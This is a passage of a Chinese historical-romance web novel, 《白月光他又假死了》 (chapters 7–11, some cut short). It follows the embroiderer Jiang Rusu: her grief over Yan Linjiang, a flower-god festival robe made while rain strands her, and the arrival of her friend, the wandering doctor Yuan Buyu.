“都看过了,但还是困,药也苦的不想喝。” “那正好咱郢州来了位游医可以去看看。”听着几人闲聊的架势,一位小姐抱着狸奴也凑了过来。 “游医?郢州城什么时候来了位游医?莫不是一位骗子吧。”太守小姐心下生疑。 “我可也听说郢州城外来了一位游医。虽说达不到医死人肉白骨的地步,但也算是妙手回春。”肖夫人附和道。 太守府的小姐自然是不信,但也不怪她,小姑娘年纪最是小,平日也就在府中请来教书先生识些字。 何况若是真有这样一位神医,他住下的那处宅子怕是连门槛都要消下去一尺,怎么会无人提及。 那小夫人也不急,手上插花的动作也不停,权当是闲聊。“送柴火的那户刘家人你可知道吧?” 有人摇了摇头,也有人接着说了下去。“当然知道了,他前几日摔着腿了是吧,上次送柴火的还是他小儿子。怎么?这神医还与他有关?” “自然是有关的。” 那夫人接着讲了下去,昨日是他家进柴火的日子,去后院监工的小丫鬟回来和她说。 柴火居然那摔断腿的刘老头亲自送货来的。 那小丫鬟自然也是好奇,分明几日前才听他儿说他摔断了腿连地都下不了,怎么如今便能来送货了,就问那刘老头。 刘老头说他那日在郢州山下遇到了一位贵人,正巧遇上那神医在山上采摘药材,见他腿脚不便便替他看了下,那神医也不爱说话,留下了一贴方子,交代了服用的剂量便离开了。 虽然遮着面看不清,但见他穿着便衣,下山的去向是往人家处去的。 回去的时候,刘老头舍不得钱回家便试着买了两贴药材,煎服和外敷同时使用,不出两三日居然好转了不少。 刘老头平日总在这几处伐木,四周住的人家也是一清二楚,一来二去就得了定论——这应该是别处云游四海到此处的游医。 “当真这么厉害?” “可不是?” “来日有缘,定要请游医替我看看。” 午后的天很是闷热,姜如素搬了个摇椅在树下纳凉,毕竟是个小庄子,也只有几个洒扫的下人和厨娘,这会儿都午睡或乘凉去了。 院子安静的只听得见风中飒飒的叶响声,渐渐的却又多了渐行渐近的脚步声。 “你怎么来了?”晏行丘的出现确实是出乎姜如素的意外,她离开前给他留了事儿,这么快就办完了? “程伯说让我来看看你在庄子过的如何?”说着将手中刚切的瓜果放在石桌上。 姜如素确实没回西羌,离开一来是为了降低对方的防备,二来是芒种花神游街将近,她还得拿出新样式。 无素绣楼的新样式起先都是在这个庄子里诞生的,比起绣楼里每日琐碎繁杂的小事,庄子上倒是宁静了很多。 “我还是一切如常,程伯是身子那里不适吗?” 姜如素偶尔有回庄子的时候,程伯就会每隔三五日来庄子一趟,为她带些要用的要吃的,程伯比起点秋秀萍等人来说,都是西羌人,倒是更为知根知底。 今日罕见的换了晏行丘来。 “程伯身子康健,不过程伯给我安排了差事,说是...” “说是什么?”姜如素说来还蛮好奇,这位假名商能来编出什么名头,连程伯都给哄骗过去。 “程伯说我处事果断,还说修楼里会武功的可就我这一个稀罕人才,让我往后跟在你身边保护你。”晏行丘似乎对差事的分配并无过多的计较,似乎 7. 临江 《白月光他又假死了》全本免费阅读 “死了?你说他死了?” 五年间面对任何事情时都能波澜不惊的姜如素,竟然一瞬便红了眼眶,都还没来及遮掩,迟迟反应过来遮住了脸,声音里掩饰不了的失控,“当真?” “当真。”晏行丘似乎也并未想过姜如素的反应如此之大,下意识的想要安慰她,却被姜如素侧背过身躲开了。 “表兄死前曾向家中寄过一封绝笔信。他知道我曾随他去过西羌,所以这封信兜兜转转到了我的手上。” 姜如素依旧保持着那副姿态,背对着晏行丘,也不说话,只听着他一字一句的念着存于脑海的诀别信。 “临江恐命在且夕,惟愿家族安康。独有一憾与一人之约,恐将误之。他日若逢于西羌,代为致歉于彼女。若世有来世,临江必践此约。景乾十三年秋,绝笔于上京。” 半晌她才开口,“有事我会叫你,自己找间没人住的屋子留下吧。” 这封诀别信,兜兜转转竟然还是到了她这位被毁约之人的面前。 当真是缘分。 “姜如素,尔木知办了晚会,你怎么还不去?” “我晚些时候再去。”少女阖眸,打坐的身形丝毫未曾动摇过丝毫,直挺挺的坐着。 南水羌的女子自年幼便有一些被挑选进祭司一脉,祭司一职向来都是族中现任祭司亲自由祭司一脉都挑选下一任,未能选中的人也是需最以澄澈之心,感悟天地自然以佐祭司。 为了摒弃私情,已达公正与保证着十足虔诚之心,每日都需反思打坐一个时辰。 姜如素今日还未完成这一课业。 “你是会成为下一任祭司吗?”晏临江穿着膠青色的便服,席地而坐在她身侧。 “我不知道。”姜如素也说不清,她分不清想与不想。 祭司一职在南水羌是能拥有土地和人口的位子,能参与尔木知的商讨,是部落中很是尊贵的人。可身为祭司,不得离开南水羌,也不得随意离开碉楼。 若是以前,姜如素自然是愿意心安的留在此处一生,若是运气好,成为祭司,再过几年嫁给尔木知的小儿子。若是未能成为祭司,或许寻个有差事的人嫁了,在西羌过一辈子。 可如今是不同的。 南水羌外还有十二部,十二部外还有汉朝,还有极北之地。 有着多多少少姜如素都未曾见过的光景,她终归还是有些动摇。 前辈对她的教诲也使得她开始犹豫,她的天从不该只有南水羌这么小一处。 察觉到心乱了,静不下来了,姜如素将打坐静思的时间又想后推了推,她抬眼瞧了眼外面的日光,怕是赶不上晚会了。 “晚会快开始了,临江你先去吧。”南水羌一月一次的晚会是外乡人难得遇见的乡土风情。 炙烤的牛羊肉,光是只闻上一闻,就止不住的嘴馋,火堆边起舞的锅庄,阿婆们奏响的口弦乐器,无一不构成这一场盛大热闹的晚会。 可那些也都动摇不了晏临江。 晏临江想到两人的相见,没有格外多么惊艳偶遇,只是那茫茫山野中的一眼。 一见如故。 “我不喜欢热闹的场景,我陪你吧。”少年人说着就坐下,耳边还能听到外面晚会开始的起哄声,紧随着便是悠扬的乐声。 “我家乡也有很多很好玩的集会,若是你没能成为祭司,不如来汉地吧,我请你来景州城。”晏临江说的真切,他年岁比姜如素长上二三岁,但周游汉地,位登谋士,他早就知道,他喜欢上姜如素了。 只凭那一眼就已经定下。 可那或许是不能的,可姜如素还是心动了,或许可得转机,她答应了下来。 “那说好了,你可得赴约。”晏临江也打坐陪着她,少年的眼眸比西羌的天还澄澈,比戈里木斯湖还深邃,像是不知道怎么说明白的快了一些的心跳。 “我一定赴约。” 一枕空梦。 姜如素瞧了时候,依旧是午后,她不过是小憩了片刻。可这里并没有南水羌的口弦声,也没有晏临江。 晏行丘又在庄子待了两天,到了两日一回绣楼的日子,才又遇见了姜如素。 她似乎很喜欢卧在那院中树下休息。 “姜姑娘,我今日回楼,可有需要我带给你的物件吗?” 四月二十九的花神节,就在几日后。 郢州城每年芒种时,都会举行花神游街。 花神娘娘每年都由不同的不逾髫年的少女担任,扮演花神娘娘的幼女并每年穿着的衣裳其实都是一致的,那是郢州城第一年花神节前,花神娘娘托梦于那时的绣娘,依照着梦中做出来的。 毕竟是年幼的女神仙,正是爱美的年纪,便每年变着花样由郢州城锈艺最为出众的绣娘担任游街花神的外袍制作。 起先城里几家绣坊分不出高低的时候,差不多便是每家隔几年担任一次。 可四年前便是由无素绣楼担任,虽说绣楼绣娘技艺不差,但说到底还得由姜如素亲自动手的。 今年加上这势头极为凶猛的锦绣楼,怕是又得如从前一般,提前一日将自己做的衣裳交给太守夫人择取了。 “你将这张图样交给点秋,让她找往年的那家成衣铺,这两日将衣裳做出来。”图样上是姜如素画的外袍样式,只待成衣铺做完,她便开始绣制。“也用不着到时候你又跑一趟,就让她到时候寻人送来就是。” “知道了。”晏行丘将图样叠好,放进怀中,几次确认放好才安心的接着问,“现下是青梅成熟的季节,市集上能买到些新鲜的,姜姑娘要吃些吗?” “都可,钱若不够用了,找程伯,他会给你的。”姜如素理着绣线,将绣架挪出来擦拭的干净。 晏行丘回来的也快,晌午前才动身,晚饭前就已经赶回庄子了。他提回来了一篮子的新鲜瓜果,不知道的还以为他要在庄子小住上半月。 “姜姑娘,今天的青梅很是新鲜,你要来尝尝吗?”晏行丘分明看着颇有着一种饱读诗书的贵公子风格,私下却又总是一副长不大的样子。 买青梅到解决仿制品的问题,他似乎将每一件事情处理完后,都要想个开屏的鸟雀,来她这里讨上几句夸奖。 姜如素手上正忙着理绣线,晏行丘挑了颗最大的青梅,递至她眼前。见姜如素两手皆是套在线团里,左手将那团线夺了下来,将青梅塞入了姜如素的手中。 “我待会儿再吃。”姜如素委婉的回绝了现在就品尝少年人成果的邀请。 “怎么?我可没有下毒。”晏行丘无辜的瞧着她,非得等一个结果。 毕竟到底是她心软将人留了下来,瞧见他姜如素竟也开始想着,若是她家中多了这样一位表弟,这般磨人的性子,她可受不了。 “吃便吃。”点秋昨年曾买过一次青梅,无一例外都酸的牙疼,姜如素自那以后瞧见青梅都不忍牙酸,只想着敷衍的咬上一口,却是意外的甜。 “我就说,我眼光可好了,挑的都可甜了。”晏行丘将她的小动作全然看在心里。 “是很甜。”姜如素两三口 8. 遇困 《白月光他又假死了》全本免费阅读 姜如素还是不死心,撑着伞就说出门。 如今任何一点变动她都得计上心来,或许还有转机。 若是那路还有一点能出山的机会,她就得趁着事态走向更糟糕前回到郢州城。 可等她行至那处的时候,才发现远远比庄子上老妇人说的更为严重,暴雨下别说是塌方将路给掩了,还有着两三颗树木因这场雨倒在了路边。 她完全出不去了。 郢州山离郢州城不算特别远的地方,但如今被困于此,也只能认命。 若是等两日内雨停将路修通,等来成衣铺的成衣也是时间仓促。 她只能自寻他法了。 幸得姜如素平日也偶尔回庄子上,庄子上布料也不少,虽说比不上绣楼种类与数量齐全,但如今应急也足够了。 可庄子里放置的布料都是未经过浆洗的,若是过一次水,怕是布料缩水,连带着刺绣的花样也不平整,浆洗是必不可省的。 此时也是雨天,晾晒也不方便,只能走一步看一步了。 “晏行丘?” “怎么了?”晏行丘见姜如素寻他,连忙从一侧的茶室出来。 “同我去找布料。” 庄子是个两层楼的小院子,布料都是存放在一楼,同放杂物的屋子并排着。庄子上的都是直接从布庄取来的货,为了保护布料,每匹布都是按照进货的批次有规律的放置在各自的位置上。 屋子内的灰很少,但推门时还是呛着姜如素连连咳嗽。 她起先是打算用半斤六两的细棉做衣,她也记得庄子上曾有一匹细棉,放在进屋的右侧的红漆箱中。箱子上压着好些别的布料,约莫二三十斤。 “行丘,帮我将这搬自桌上。” 虽说是帮,但还是两人携手一人抬着一头,将那布匹挪到了桌上,将桌子盖的满满当当的。 姜如素一手抬起那木箱的盖子,另一只手弯下身去取那箱中的洗棉布匹,瞧起来有些费劲,这姿势将她置于危险的地带,若是她手一下使不上劲,怕是那箱子要压得她受腰伤。 绣娘的腰同手同等重要,为了绣好一件绣品往往免不了在绣架前坐上一天甚至不知多少个日夜。 “我来吧。”晏行丘撑上木箱盖,念及两人终归是授受不亲,拿来布料的边角料垫在箱边,免得磕到姜如素的腰。 姜如素心下也明白,抱出布匹,轻声道了句谢。 半斤六两的细棉的还有一匹,那木箱中的最后一匹,姜如素草草地检查了一下表面,没有破损也没有脏污的地方。 姜如素轻声提醒了晏行丘站在她身后,便拽着布的一边一扯,这一匹布剩下卷在其中的地方也都被抖了出来。 雨天的日光不算好,姜如素只得又凑近了些,检查着布匹的完整度。青褐色的布料,落在手中很有分量。 “姜姑娘,前院的木桶已经准备好了。”姜如素早起见到的那位老妇人已经备下了浆洗的要用到的东西。 “我知道了,安婶,你歇着吧。”姜如素也算是松了口气。 可下一刻手下的触感却又令她将心提了起来,那是布庄织布时留下的线结,布庄织布的时候时常有某一股线先用尽的情况,一般这种时候,都会将新换的线与用完的末端接上。 技艺高超的布庄是能够将这连接处处理的与寻常无异,抑或在将布分成一匹一匹时,将这接头放在边缘上,不妨碍布匹的正常裁剪。 可好巧不巧,姜如素手中的这匹布的接头就在布匹的正中间,无法避开的地方,这唯一的一匹细棉布便是作废了。 先前依照这青褐色布匹来的花样怕是也行不通了。 但终归还是有办法的,两人在屋子里翻找了半天,才寻了匹颜色相近的绸缎。 屋外的雨依旧淅淅沥沥的下个不停。浆洗过的布料晾在一侧的竹架上。通堂中间搬来了火炉,烧着炭火,四周也放上了小火盆。 室内的温度倒是升高不少,暖和的令人昏昏欲睡,空气里四处都是湿漉漉的气息,姜如素只觉得难受,有种不安的感觉,像是溺水一般。 晏行丘将他昨日回庄子时,提着的篮子提来了通堂,从中取一小壶青梅酒。 “郢州城有名的如意酒肆的青梅酒,试试?” 姜如素并没推辞,接过晏行丘递来的小酒壶。小小的一个瓷壶,握在手中暖暖的,也使她心安了不少。 “果然名不虚传。”青梅酒入口醇香,果子的酸味让姜如素缓解过来。 “我还以为你从来不会紧张。”晏行丘又放了几个鲜果子在那隔水温着的酒壶中。 “我想是这样的?” “当然像了,我起先以为遇上仿制品那事儿,你会大张旗鼓的召集所有人商量对策。” 姜如素神情冷淡的睨了他一眼。 “你兄长...”姜如素下意识说出口的时候,才反应过来,这人似乎还并不知道她就是那为他兄长遗憾未能赴约的人,说明白也并无好处,只能咳嗽着掩饰过去。 “怎么?是今日早间出门的时候淋到雨了?是受风寒了?”晏行丘说着就给姜如素把脉。 “你会这个?” “不会。”晏行丘底气十足,就像是再谈论一件值得大谈的事儿。 姜如素突然想到自己居然还曾觉得他同晏临江很是相似,真是走眼了,从他手中抽回了手,“我没事。” 屋内烧炭火来烘布料,也是有弊端,将那布料染的一股炭火味。不过好在两人早些时候就考虑道了这一点,往那炭火中加了香料。 细细轻嗅,还带着浅浅的沉木香味。 通堂的味道最是浓厚,沉香的气味本就多用于祭司礼佛之地,那气味最是静人心,姜如素只想虔诚的打坐。 花了几日制好成衣,但先前已想好的绣法怕是不够再用,依着两匹布相近的颜色,倒也还是留有可取之处。 姜如素将绣线又劈成两股,用更为纤细的绣线,将花瓣的边缘勾勒出来,走针间将整件外袍都化为最为惹眼的花瓣。 衣领处是用着浅 9. 昇果 《白月光他又假死了》全本免费阅读 花神节是需要举行一系列的祭拜仪式,花神庵建在城东,祭拜的时候也早,趁着天微亮便要动身。 祭拜仪式以那代为游街的幼女收到花神娘娘的赐福恩准为结束。 巳时三刻的时候,只听得那锣鼓声从城东开始响起,游街开始了。 “姑娘,游街开始了,今日可要去?”点秋早早就收拾打扮好了,这会儿要出门了到又开始反复的整理着衣服。 “姜姑娘还在楼上呢?”文秀萍也正好趁着今日绣楼休憩半日,将后院洒扫一下。 “那秀萍姑姑不去吗?”小元拉着点秋的衣角问着。 “我就不去了,待会儿还能抽空给你们做些好吃的。”年龄稍长的妇人也都懒得去凑热闹,就自请着留下守着绣楼。 姜如素下楼的时候,就只剩着晏行丘等着她了。几个年纪还小的姑娘早就出门没了影。 两人出门的时候,连绣楼门口都站上了好些人。绣楼就坐落在游街的主道路上,本就是郢州城不小的事儿。 点秋站的有些远站在围观人群的最前,隔着几丈远瞧见姜如素出门了,招着手想让姜如素也去那处。 姜如素不似点秋那丫头,活泼着巴不得加入那游街的队伍。回绝了小丫头只敛了个稍为空些的地方站着。 “你怎么不去前面凑凑热闹?”晏行丘跟着她过去,装似无意的站在她斜前侧的位置,将那处旁边的人挡着了些。 姜如素可能昨晚可能休息不踏实,她看起来有些发懵摇头回绝道,“人太多了,我就不过去了。” “既然你不喜欢人多的地方,有机会我带你去景州,带你去赴秋宴。” 景州同郢州城不同,每年若是论这祈福的节日,只有一宴,名曰秋宴,看山观景,依山而坐,拉帷为宴。 世家子弟各显才艺投壶射艺,文人雅士借景抒情,是难得一见的一大盛宴。 秋宴最为出名的还是早些年的时候,晏氏子弟晏临江,宴中醉酒舞剑,恰逢圣旨征召回京,位列群臣。 “来日再说吧。” 游街到了城北来了。 点秋和绣楼的几个年纪不大的小姑娘,借着前排去接那花神游街的队伍洒落的象征着赐福的甘露。 消病祈安,风调雨顺。 一时花瓣随着甘露以及昇果都在空中交汇着洒落,洋洋洒洒的落下,今年会是个丰收的好年。 有个脸生的男子,得了花神童子分发的花枝,那是一朵还挂着露水的鲜花。 有些莽撞的从姜如素身前挤开去,姜如素下意识要退,却被那路上不知洒落的石子还是旁的给绊了脚。 晏行丘手快的揽住姜如素的腰,也是顺着劲儿,往后站去了些。少年人的神情少有的严肃,正色着将她扶住,手掌稳在腰间,姜如素紧悬的心都放了下来。 雨后的阳光很是温柔,给他镀上了一层柔和的光影,就像是梦中触不可及的模样,七年未见,她早想过故人相见不相识。但眉眼是不会变得,性格也应该不会变得。 她又在妄想些不切实际的事情。 “文娘,”男子停在不远处的一位姑娘面前,姑娘那处手绢给男子擦拭那鬓角染上的水珠。 “也不知道跑慢些。”女子嗔怪的埋怨着,但眼底全是笑意盈盈的看着眼前人。 每年花神童子分发的花枝都是有数的,去的晚了,站着后了些都是拿不到的,同着旁的赐福不同,有人传言这花枝能遂人心愿的。 “这不是想要你我和和美美的。”男子将花递给女子。 姜如素以为站着远,就只单单瞧着大家接纳富泽。 没想到也是被砸中了头,晏行丘也是没看见是什么,便接了过来。 描金绘银的纸张被叠成小小的一团,像是花开时未熟的果子,两端层层叠叠也像是合着的花蕊。 这就是昇果。能祈愿未婚之人早日觅得良人。已婚之人更得圆满的昇果。 算下来,这一枚昇果,倒是砸中了两人。 姜如素也不知道晏行丘是否知道这层含义,瞧着神色无异,或许是异乡人,也不问就握在掌中。 今日的晚宴格外的丰盛,一来是花神节这日绣楼上上下下二十几口人都要一起聚聚,平日都是各自安排,这一聚自是得丰盛些。 二来是点秋嚷嚷着险胜锦绣楼,可得好好庆祝一番。 “点秋姐姐,那你同我讲讲你是怎么智斗锦绣楼的啊?”小元个子矮,还是撑着桌子给点秋捧场。 “那自然是惊心动魄,”点秋说着激动的站起身来,“我到那大厅前时,那几位东家已经拿出那绣好的袍子,要递给太守夫人看了,眼瞧着就要拍板了,我立马出声说,夫人慎思。” 点秋讲的夸张,动作也做的起劲,逗得桌上几人都笑了。 提及此处,点秋对姜如素更是崇拜,她当时一进那屋子,瞧见上次来绣楼寻她的那位女子,一听原来正是锦绣楼的东家。姜如素“回羌”前同她交代过,出门采买的时候,若是有人问起绣楼近况就说是她有急事回去了。 加之晏行丘旁敲侧击仿制品之事,不出几日,这锦绣楼的东家便会来见见她。只需按着她说的做便是,要定什么就让她定,要瞧什么就让她瞧。 对方要是个坏心眼的,将那花样抄了去,赏花宴上丢了面子在郢州城不出两三月便开不下去了。若是对方只是个较劲的,便是同她堂堂正正的各做招牌。 她小心的抬眼看了眼姜如素,毕竟最大的功臣就在这里,她也不敢将自己吹捧的过于夸张,"最出奇制胜的自然是姑娘提前赶了回来。" “我可不敢当,毕竟是点秋姑娘,力挽狂澜护住了绣楼的名声。”姜如素也顺着逗她。 “姑娘...” “姑娘你可别逗点秋了,”程伯接过话,点秋听见这半句话也是连忙点头,“小心待会儿她生闷气去你门口蹲一晚上。” “程伯,你怎么也这样。”点秋愤愤的坐下,片刻的功夫就像是没发生似的吃的正欢。 点秋早两年的时候,有次同姜如素因误会闹了一个小矛盾,小丫头生了一晚上的闷气等着姜如素认错和她和解,但有怕姜如素第二天忘了,自己抱着被子在姜如素的屋子外安静的睡了一晚上。第二天还是被早起的程伯发现了。 也幸好是秋日,气候还算凉爽,也没将点秋冷出什么病来。 姜如素虽然同几人聊的兴起,但食欲确实不怎好,吃了两口垫了低,就只偶然挑一点尝个味道。 应该是前两日淋了雨,姜如素心想,晚些得去厨房再熬些姜汤喝喝。回来后便一直觉得身子有些不适,也不是紧要的病,但脑袋昏昏,嗓子也有些难受,喝 10. 心乱 《白月光他又假死了》全本免费阅读 四月的气候很是温适,远处白色夹竹桃映照在江边,白鹅在倒影中穿梭,不细瞧快将两者混为一物。 “姜如素。”姜如素被这蓦然的一声呼喊惊住了,下意识回首退了半步。 “怎么?瞧什么这么上心,连我近身前了都才反应。”来人步履从容的拾阶而上,居然是晏临江。 晏临江依旧穿着姜如素印象里最是熟悉的膠青色衣裳,身形却比以前更为高挑了,站在她身侧高了半个头,立在那处就似画中走出的翩翩公子一般,儒雅随和。 似乎所有的词汇一时都失去了最恰当的释义,姜如素只能感慨那些有关晏临江的传言不假。 听闻那晏临江受封进京时,就是连那上京出名的街景都失了颜色,万人空巷都只为一睹这位天纵奇才的谋士大人。 “临江,你今日怎么有空来见我。” “自然是念着佳节在前,有物相赠。”晏临江也带着一枝花,是乘着清晨采的最早的花,还带着露水,瞧着同那花神节的花是一样。 这花是能许愿的,她从不信汉地这一套的,但到底是入乡随俗,她也是知晓一些的,姜如素不知道是否灵验,但姜如素只想到了一句,要她和晏临江和和美美的。 同那花神节上的小娘子与那莽撞的相公似的,和和美美。 似乎见她迟迟不接,晏临江还温言催促着问她“怎么不接?” 姜如素接过那花,有些走神,她并不是初见情爱的少女,自然是知道和和美美象征着什么。为什么会这么想,姜如素也不知道。 耳边似乎听见有人哼着歌谣,祛病复康。声音很是低沉温柔。 晏临江似乎也听见了那歌谣,也再她耳边轻哼着。 “你分得清我和他吗?”晏临江的脸隐在亮光里看不见,约莫瞧着个轮廓。“姜凌。” 姜如素一时只觉得乱,就像是所有无厘头的事情都在这一刻牵扯着要她判出个因果来回。晏临江从不会这样叫她,姜凌二字是她来郢州城后取的名字。 只有晏行丘,四月廿七回程的那途中,在她险些脚滑摔下断崖时,情急下拽住她唤她姜凌。 可偏巧晏临江问的奇怪。 姜如素居然下意识的想反驳道,为什么要分清他们。晏临江靠的很近,将姜如素揽在怀中,“我也只愿你我长相厮守。” 像是被魇了过后的后知后觉,姜如素只觉迷惘,晏临江不是晏行丘,她因何辨不清。 姜如素不知道,她甚至不知道分明是出自同宗的人,眉眼略有不用,只是因着血脉里的关系,有着一些相似,她怎会分不清。 更可况,晏临江早已身死。 怎么会做这么奇怪的梦,姜如素只觉得奇怪,可她鲜少做梦,细细追溯起来,最近随着晏行丘的到来却越发喜爱做梦了。 身为祭司一脉,梦想来是可以视作同天地神灵同感的一个途径,离开西羌后她几乎不曾做梦。 只有一句,是她梦醒都不知如何回答的,来自晏临江的问题。 喜欢?什么是喜欢? 姜如素也曾参加过郢州城中的新嫁娘绣过嫁衣,也曾就着城北的位置,见过不少婚嫁。来郢州城的五年,也曾有过不少媒人上门说亲,可姜如素一应回绝了,该怎么回答呢? 是无人再及晏临江。 晏临江同她有多少过去,她记不得了,分明细算下来那少年在南水羌呆了整半年。 她只记得那个高悬着明月的夜晚,那少年人陪着她在歌舞升平的夜里,坐了一个又一个时辰。 只记得给祭司大人送了包裹回程的路上,风吹的她发丝微乱,他蹲在半人高的土墙上,给她递来那新鲜的圣果。 膠青色的衣裳随着风而去,带起哗哗的声响,像是救人水火的救世者。 这就是喜欢么? 醒来后那问题却一直萦绕在姜如素心里,她撩开床帘,屋子四周门窗都开着透气,也正好缓解了刚醒来的气闷。 昨夜是有谁再为她哼那歌谣吗?姜如素只觉身体无力,心理大抵有个猜测。 点秋在桌边吃着午饭,想来是来守着她,只端了个瓷碗,上面闷着点菜,听见动静连忙放下碗筷过来。 “姑娘醒了?” “醒了。”可能是睡得有些久,刚醒来姜如素险些又眼前一黑,倒在床上了,点秋连忙扶住她。 “晏行丘呢?” “姑娘说晏公子吧,他先前去吃饭去了,我同他交班,这会儿估计在楼下呢。” “昨天晚上是谁守着我?” “应该没有人吧,”点秋将她扶到桌边,倒了杯热水,姜如素提不起精神的抿了一口润润嗓子。 “昨晚我本想上楼守着姑娘的,程伯说姑娘已经退下温了,睡得安稳让我不要打扰到您。不过晏公子倒是来的早,我来的时候他就已经在了。” 晏行丘心细,点秋到的时候,他正从一侧的火炉上取来温着的水,用着小汤匙给姜如素喂水,不停的用那温水一遍遍的擦拭着姜如素的手腕额前。 晏行丘相比起点秋来,倒像是绣楼的闲人,这照顾人的担子又落回到他的身上了,程伯给他安排的工作就是守着护着姜如素。 他来的时候带着姜如素的午餐和药。后院厨娘给熬的白粥,姜如素吃着本就没胃口,闻着那味苦的药味更是吃不下去。 姜如素不喜欢喝药,但病了想要快些好起来少不了要喝。 “良药苦口。”姜如素嘴上倒是说的轻巧的安慰着自己,拒绝了晏行丘递来的糖块,皱着眉将想吐的感觉强压了下去。 “还是吃口吧。”晏行丘将糖塞在她的手心。 男人神色倦倦,就算再怎么躲开姜如素的打量,她也是瞧出来了。 “昨夜,多谢了。” “不谢。” 晏行丘凑的近,抬手探了探她额前的温度,“应该算是好了吧,大夫昨晚说应该是这样。” 少年人离得近,身上似乎还带着若有若无的沉木香,虽只用布条将头发半束起来。姜如素似乎又想起了梦里晏临江问她的那句话,能 11. 游医 《白月光他又假死了》全本免费阅读 郢州山山脚下的路边茶铺。 只简易搭建着的茶水铺前倒是来了不少人,他们都围在那茶铺外最单独放置在一侧的桌前。桌子旁也没有立着布番,四周也没挂着牌子,倒像是凑些什么热闹一般。 老刘头老远望见这一幕,就心知稳了。 这位游医其实是一月前就来郢州城了,不过那时他只每日上山采采药材,偶尔得空撞见谁病了搭把手替人看看病。 随着老刘头的腿伤好了,这位游医的名号在郢州城内算是传遍了,这几日听闻消息前来问诊的人不少。 老刘头在人群中挤出一条路,瞧见众人前那位男子,年纪不过双十,发冠精致别着玉簪,衬出他眉眼如画,淡淡的药香有这一种亲近又梳理的感觉,加之他话少又不爱笑,搭着这一袭青衫怕是要让不少女子落下心病。 男子似乎察觉到了老刘头的到来,也不开口单只瞧了他一眼。老刘头因着这一眼心又提了起来。 这位游医的性子最是难以琢磨,没有人知晓他的喜好和他出诊的规律。 他出诊的地方就在这简陋的茶铺,但并不是日日都来,也不是固定着隔几日来,何时出诊全凭心情。今日日头大了,不出门,今日下雨了,不出门,今日微雨出门散心便来茶铺出诊。 路边偶遇了给你瞧上一瞧,若是你特意去路边拦他,撒泼让他为你瞧一瞧,他往往直接原路折返,接下来直接闭门不出,半月甚至一月都有可能。 没有人能琢磨透,但实在是医术太好,开的药物美价廉,这不......只要一见到神医来这茶铺坐下,便有人奔走相告,一会儿便围上一群人来。 不过来再多人也没用,他看病也看心情,一日号脉不超过十人。 这会儿午后的阳光很是照人,那男子坐的地方也没棵树挡着,店家熟练的从铺子后取来草帘系在棚子上。 铺子里围上了不少人,有些是为了看病有些是单纯为了来瞧瞧这传神的游医。站累了瞧累了就在茶铺里点来一壶茶配上点吃食,也算是让店家大赚一笔。 故而店家也是最盼着男子出诊的人。 男子似乎并不在意,接着替眼前的人把脉,轻声交代了两句病状,开了张药贴便收了银两,清了清嗓子,四周的人顿时都安静了下来,专注的听他要讲些什么。 “今日到此为止,三日若有需要袁某看诊的,午后三刻再来此处。”这位自称“袁某”的游医,在人群中的谈论与恭维声中,事不关己的收拾着身旁的药箱。 桌前的人散开了些,老刘头走到了最前,坐在了方桌一侧的凳子上,就在这位袁游医的左手一侧。 “老人家腿脚好些了?”老刘头的年纪也才五十来岁,但眼前的青年男子这样叫也确实没有问题。 “好多了,好多了。”老刘头说着就是如炮仗般说了一连串的感谢话,将他里里外外都夸了一个遍。 青年男子方才瞧见了他走过来的姿势,这会儿瞧着站定的落脚也没了病碍,“我瞧着,你这也不需要复诊了。” “自然是多亏了神医,”老刘头先是递上了银子,“我今日来自然不是为了我的事儿,郢州城里有位贵人病体抱恙,若是神医有空随我们去一趟?” “郢州城?不去。” “先生可是嫌银两少了?先生若是愿意随我们去一趟。这银两自然是少不了公子的。”随行在老刘头身侧的男人也开了口,看样子是个家丁的模样。 袁游医这才瞥了一眼方才老刘头放在桌上的小不包,约莫有十两银子。他似乎有些不悦“我瞧着是很缺钱的样子?” “这自然是不缺。”老刘头连忙反驳着,谁不知道这位游医的性子,“这银子多是贵人看重神医您。” 一旁的家丁一路上来的时候就听老刘头讲了不少有关他的传言,猜着这位袁神医怕是今日请不动了,“先生既然不愿,那我三日后再来请先生。不过主家那边也需要交代,不知公子因何不去?” “太远了,不去。”男子开口说到,说着就背着小巧的药箱走了。 郢州城,无素绣楼外。 绣楼门外站着位男子,身形挺拔,肩上夸着个小药箱,手上提着不少的东西,新鲜的荔枝,还有城东新开的铺子里的新糕点...他抬头瞧着那绣楼门口的牌匾,姜如素前段时间逛了城中铺子后,便又将绣楼门口又新装横了一次。 男子瞧的满意,不住的点头,细瞧这不是那位闻名郢州的神医又是谁? “袁先生来了。”点秋先是看到了绣楼门口的男子,连忙上前接过他手中的东西,说着就请他往里走。 “这位是?”晏行丘语气间并无起伏,眼神却死死地盯着那人,不想让他跨进门半步。 “在下姓袁,袁沣字卜榆 ,儋州曲津人,是个游医。”袁卜榆说完朝着刚从楼上下来的姜如素点过头行了一礼,“是姜姑娘的至交。” 晏行丘还欲再问,袁卜榆直接绕开他进了门。 晏行丘说到底只算得上一个杂役,抑或着是个贴身的护卫。他没有任何权力驱赶任何一位绣楼的客人,也只能紧跟着他身后进了门。 “卜榆什么时候回来的?” 姜如素同袁卜榆相识于五六年前,那时姜如素还没来郢州。 花灯会上有人中了毒,那画面姜如素还记得。那人先前还好好的,只一个眨眼的机会就直接晕倒在了桥上。袁卜榆那时也离得近,听说有人晕倒了便也赶了过去,瞧见姜如素也在替那人把脉。 两人大致沟通了看法与现状,几乎是很轻易的便解了毒。袁卜榆又是医痴,听了姜如素那会儿对病症的看法,只觉一见如故,二人聊了许些治病方论,恨相见甚晚。 “一月前就回了。”袁卜榆四年前就定居在了郢州城外,也是在郢州山寻了个僻静的庄子。可他那里闲得住,一年的光阴里总有大半的时间都在游历。 甚至两人当年初识后,袁卜榆为了去了解姜如素所用的那些西羌药材,直接打消原来的行程,直接去了西羌,一两年不见有消息。 “我可听说近日郢州山下来了个神医,莫不是你吧?”后院一侧对着后门开了一个小门,一侧是一个一层的屋子,姜如素将其改为了堂屋。 “你怎就知道一定是我呢?”袁卜榆才坐下,正说着卖个关子。 医术高超性格又如此随性,不是他还能是谁。 “姜姑娘,秋水堂来人了。”晏行丘慢了两人几步才进屋,顺带着将茶水带了过来。 秋水堂也是建在郢州山外的一处住所,比起她的庄子,那处更像是个府邸,姜如素只知道秋水堂的主人是一位姓严的先生,旁的她便也不知道了。 秋水堂她也只去过一次,那处府邸,侍卫丫鬟一应俱全,连连廊外的观景树都是采选的上好的品种。整个府邸都是静悄悄的,来来往往的人都有条不紊的做着各自的活儿。 